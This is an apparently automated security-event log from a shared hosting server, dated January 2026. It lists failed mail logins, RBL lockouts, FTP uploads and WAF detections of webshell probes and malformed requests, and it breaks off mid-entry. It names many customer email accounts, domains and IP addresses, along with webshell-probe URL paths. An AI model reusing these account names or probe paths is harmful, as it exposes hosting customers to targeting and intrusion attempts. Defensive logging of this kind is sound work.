Jan 16 11:48:22 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 11:49:13 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:40476: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.67.155.80
country_id: 298795
description:
Jan 16 11:49:53 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.67.155.80 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.91.180.33
country_id: 3469034
description:
Jan 16 11:50:40 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.91.180.33 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 16 11:50:56 sv3 pure-ftpd[473656]: (?@113.211.215.143) [INFO] New connection from 113.211.215.143


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 11:50:57 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:42336: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.67.155.80
country_id: 298795
description:
Jan 16 11:50:00 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.67.155.80 has been locked due to Imunify RBL


plugin: ossec
rule: 11313
name: FTP file uploaded to server
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 16 11:51:01 sv3 pure-ftpd[473656]: (eminent@113.211.215.143) [NOTICE] /home/eminent//public_html/folder/RHB888_MOHE_Pre-Graduates edm_26/index_edm.html uploaded  (29853 bytes, 1148.31KB/sec)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 11:51:03 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:42336: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.84
country_id: 3175395
description:
Jan 16 11:52:02 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.84 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 11:53:21 H=([45.144.212.242]) [45.144.212.242]:53476 F=<no_reply@admin.com> rejected RCPT <aoto@aoto.com.my>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 11:53:58 H=([45.144.212.242]) [45.144.212.242]:64650 F=<no_reply@admin.com> rejected RCPT <info@aire-fresh.com>: Sender verify failed


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/wp-content/images/sliders/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/products.php||SC:/home/sutsbcom/public_html/wp-content/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-16 11:56:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:61179: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.46.17
country_id: 953987
description:
Jan 16 11:56:18 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.46.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.243.135.254
country_id: 3469034
description:
Jan 16 11:56:54 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.243.135.254 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.243.135.254
country_id: 3469034
description:
Jan 16 11:57:02 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.243.135.254 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 11:59:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:40478: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.130.171.193
country_id: 3469034
description:
Jan 16 12:00:52 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.130.171.193 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 170.80.42.27
country_id: 3469034
description:
Jan 16 12:00:29 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 170.80.42.27 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.130.171.193
country_id: 3469034
description:
Jan 16 12:01:00 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.130.171.193 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 12:01:04 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:42934: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 11313
name: FTP file uploaded to server
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 16 12:04:19 sv3 pure-ftpd[494935]: (eminent@113.211.215.143) [NOTICE] /home/eminent//public_html/folder/RHB888_MOHE_Pre-Graduates edm_26/index_edm.html uploaded  (27620 bytes, 1152.83KB/sec)


plugin: ossec
rule: 11314
name: FTP file deleted from server
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 16 12:04:13 sv3 pure-ftpd[452369]: (eminent@113.211.215.143) [NOTICE] Deleted /home/eminent//public_html/folder/RHB888_MOHE_Pre-Graduates edm_26/images/banner2.jpg


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 16 12:04:16 sv3 pure-ftpd[494935]: (?@113.211.215.143) [INFO] New connection from 113.211.215.143


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.164.246.220
country_id: 1269750
description:
Jan 16 12:05:44 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.164.246.220 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.145.205.99
country_id: 3469034
description:
Jan 16 12:05:22 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.145.205.99 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.169.102
country_id: 3175395
description:
Jan 16 12:05:43 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.169.102 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 16 12:06:01 sv3 pure-ftpd[498081]: (?@113.211.215.143) [INFO] New connection from 113.211.215.143


plugin: ossec
rule: 11313
name: FTP file uploaded to server
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 16 12:06:06 sv3 pure-ftpd[498081]: (eminent@113.211.215.143) [NOTICE] /home/eminent//public_html/folder/RHB888_MOHE_Pre-Graduates edm_26/index_edm.html uploaded  (27620 bytes, 950.31KB/sec)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.229.253.19
country_id: 3865483
description:
Jan 16 12:06:30 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.229.253.19 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.164.246.220
country_id: 1269750
description:
Jan 16 12:05:58 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.164.246.220 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-16 12:08:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58065: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 16 12:08:42 sv3 pure-ftpd[504732]: (?@113.211.215.143) [INFO] New connection from 113.211.215.143


plugin: ossec
rule: 11305
name: Attempt to access invalid directory
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 16 12:08:43 sv3 pure-ftpd[504732]: (eminent@113.211.215.143) [INFO] Can't change directory to /42.0.28.63: No such file or directory


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.206.101.240
country_id: 2017370
description:
2026-01-16 12:09:51 dovecot_login authenticator failed for H=(pool-5-206-101-240.is74.ru) [5.206.101.240]:54080: 535 Incorrect authentication data (set_id=bptioh)


plugin: ossec
rule: 11313
name: FTP file uploaded to server
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 16 12:09:00 sv3 pure-ftpd[505055]: (eminent@113.211.215.143) [NOTICE] /home/eminent//public_html/folder/RHB888_MOHE_Pre-Graduates edm_26/index_edm.html uploaded  (27331 bytes, 692.90KB/sec)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/images/home/team.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.58.114
country_id: 1269750
description:
Jan 16 12:09:20 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.58.114 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.58.114
country_id: 1269750
description:
2026-01-16 12:09:22 dovecot_login authenticator failed for H=([182.95.58.114]) [182.95.58.114]:59022: 535 Incorrect authentication data (set_id=bptioh@mckd.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/images/img/press.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.36.202.100
country_id: 3469034
description:
Jan 16 12:11:45 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.36.202.100 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 89.110.114.187
country_id: 2750405
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:12-11.89.110.114.187||RSV:7.63||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.174.61
country_id: 1733045
description:
[2026-01-16 12:11:26 +0800] info [webmaild] 175.139.174.61 - admin@pftfood.com "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.36.202.100
country_id: 3469034
description:
Jan 16 12:12:00 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.36.202.100 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/testimonial.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77350582
name: IM360 WAF: Bytedancewebview detected
abuser: 27.125.243.125
country_id: 1733045
domain: dsc-expat.com
description:
IM360 WAF: Bytedancewebview detected||UA:Mozilla/5.0 (Linux; Android 8.1.0; CPH1803 Build/OPM1.171019.026; ) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/138.0.7204.181 Mobile Safari/537.36 trill_410603 JsSdk/1.0 NetType/WIFI Channel/googleplay AppName/trill app_version/41.6.3 ByteLocale/en ByteFullLocale/en Region/MY AppId/1180 Spark/1.7.2 AppVersion/41.6.3 PIA/2.5.3 BytedanceWebview/d8a21c6||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.92.250.111
country_id: 3469034
description:
Jan 16 12:17:38 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.92.250.111 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 12:17:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:40481: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.97.183.184
country_id: 3469034
description:
Jan 16 12:18:01 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.97.183.184 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.39.214
country_id: 953987
description:
Jan 16 12:19:43 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.39.214 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 12:19:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:43547: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.171
country_id: 3175395
description:
Jan 16 12:19:12 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.171 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.178.222.62
country_id: 2017370
description:
Jan 16 12:19:13 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.178.222.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.178.222.62
country_id: 2017370
description:
2026-01-16 12:19:15 dovecot_login authenticator failed for H=([178.178.222.62]) [178.178.222.62]:42310: 535 Incorrect authentication data (set_id=sales@acburn.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.135.195.37
country_id: 1522867
description:
Jan 16 12:19:58 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.135.195.37 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.135.195.37
country_id: 1522867
description:
2026-01-16 12:20:00 dovecot_login authenticator failed for H=2.135.195.37.dynamic.telecom.kz [2.135.195.37]:42696: 535 Incorrect authentication data (set_id=accounts@dsc-expat.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.123.111.118
country_id: 1269750
description:
Jan 16 12:20:26 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.123.111.118 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.111.118
country_id: 1269750
description:
2026-01-16 12:20:28 dovecot_plain authenticator failed for H=(nommess) [27.123.111.118]:46534: 535 Incorrect authentication data (set_id=meekee.ngu@tujusetia.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.39.214
country_id: 953987
description:
Jan 16 12:19:58 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.39.214 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 149.34.211.135
country_id: 298795
description:
Jan 16 12:21:14 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 149.34.211.135 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 203.190.8.245
country_id: 1210997
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/happen/13/340/1329820 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.159.87.46
country_id: 3469034
description:
Jan 16 12:21:36 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.159.87.46 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.110.83.115
country_id: 1814991
description:
2026-01-16 12:21:05 dovecot_login authenticator failed for H=(pmkqd) [171.110.83.115]:63278: 535 Incorrect authentication data (set_id=hr)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.22.182.230
country_id: 2921044
description:
2026-01-16 12:22:25 dovecot_login authenticator failed for H=ip4d16b6e6.dynamic.kabel-deutschland.de [77.22.182.230]:43007: 535 Incorrect authentication data (set_id=serene.chin)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 115.135.80.228
country_id: 1733045
description:
[2026-01-16 12:22:28 +0800] info [webmaild] 115.135.80.228 - cle@ajplantations.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.230.240.209
country_id: 3658394
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/symfony/translation/MessageSelector.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 219.76.191.29
country_id: 1819730
description:
Jan 16 12:21:59 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 219.76.191.29 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.76.191.29
country_id: 1819730
description:
2026-01-16 12:22:01 dovecot_login authenticator failed for H=029.191.76.219.static.netvigator.com [219.76.191.29]:55857: 535 Incorrect authentication data (set_id=serene.chin@manforce.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.22.182.230
country_id: 2921044
description:
Jan 16 12:22:23 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.22.182.230 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.207.41.231
country_id: 6290252
description:
Jan 16 12:23:16 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.207.41.231 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-16 12:24:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:61252: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 178.16.53.2
country_id: 2750405
description:
2026-01-16 12:24:21 H=([178.16.53.2]) [178.16.53.2]:60201 F=<kehk@kek.com.hk> rejected RCPT <info@oxbold.com>: SPF: 178.16.53.2 is not allowed to send mail from kek.com.hk


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.62.216
country_id: 953987
description:
Jan 16 12:24:26 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.62.216 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.11.198
country_id: 690791
description:
Jan 16 12:24:58 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.11.198 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.196
country_id: 2921044
description:
Jan 16 12:25:19 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.196 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.170.6
country_id: 3175395
description:
Jan 16 12:27:16 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.170.6 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.226.76.238
country_id: 3469034
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/application/themes/bishop/fonts/biotif-bold-webfont.woff2 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.117.140.226
country_id: 3865483
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/application/themes/bishop/fonts/biotif-regular-webfont.woff2 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.245.202.7
country_id: 3996063
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/product-category.php?id=2 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 152.156.177.177
country_id: 3439705
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/concrete/js/jquery.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 206.84.207.214
country_id: 3469034
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/application/js/smooth.scroll.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.63.47.243
country_id: 3996063
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/application/js/all.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 112.79.17.88
country_id: 1269750
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/application/js/about.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.92.105.87
country_id: 3469034
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/application/themes/bishop/css/all.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.238.56.67
country_id: 3996063
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/img/photos/969507.jpg HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 87.116.134.57
country_id: 6290252
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/application/themes/bishop/fonts/fontawesome/fontawesome-webfont5b62.woff2?v=4.6.3 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.232.85.255
country_id: 3996063
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/images/logoo-cabee.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 147.235.214.17
country_id: 294640
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/img/photos/558686.jpg HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.239.105.33
country_id: 99237
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/application/themes/bishop/css/style.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.186.197.103
country_id: 3469034
description:
Jan 16 12:29:32 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.186.197.103 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.112.14.64
country_id: 3469034
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/play/649/437499 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.159.100.145
country_id: 1814991
description:
2026-01-16 12:31:26 dovecot_login authenticator failed for H=(czarw) [219.159.100.145]:55593: 535 Incorrect authentication data (set_id=hr)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.162.136.217
country_id: 1168579
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/maennchen/zipstream-php/CHANGELOG.md HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.159.100.145
country_id: 1814991
description:
2026-01-16 12:32:01 dovecot_login authenticator failed for H=(mdyxw) [219.159.100.145]:55593: 535 Incorrect authentication data


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 203.106.96.63
country_id: 1733045
description:
[2026-01-16 12:32:05 +0800] info [webmaild] 203.106.96.63 - infolab@sutsb.com.my "GET /cpsess7988926389/3rdparty/roundcube/?_task=logout&_token=dkzr09TQxF8Sbgk70NEuFCoVO50fjOlx HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.34.33
country_id: 953987
description:
Jan 16 12:33:25 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.34.33 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.33.144.141
country_id: 2017370
domain: www.eminent.st
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.eminent.st/v3/wp-content/uploads/2016/11/takeo-cny2016-2.jpg HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-16 12:36:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58084: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.199.107.32
country_id: 1814991
description:
Jan 16 12:36:44 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.199.107.32 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.199.107.32
country_id: 1814991
description:
2026-01-16 12:36:46 dovecot_login authenticator failed for H=(BUjHAnJnEU) [183.199.107.32]:29279: 535 Incorrect authentication data (set_id=png-sales)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.197.242.198
country_id: 1814991
description:
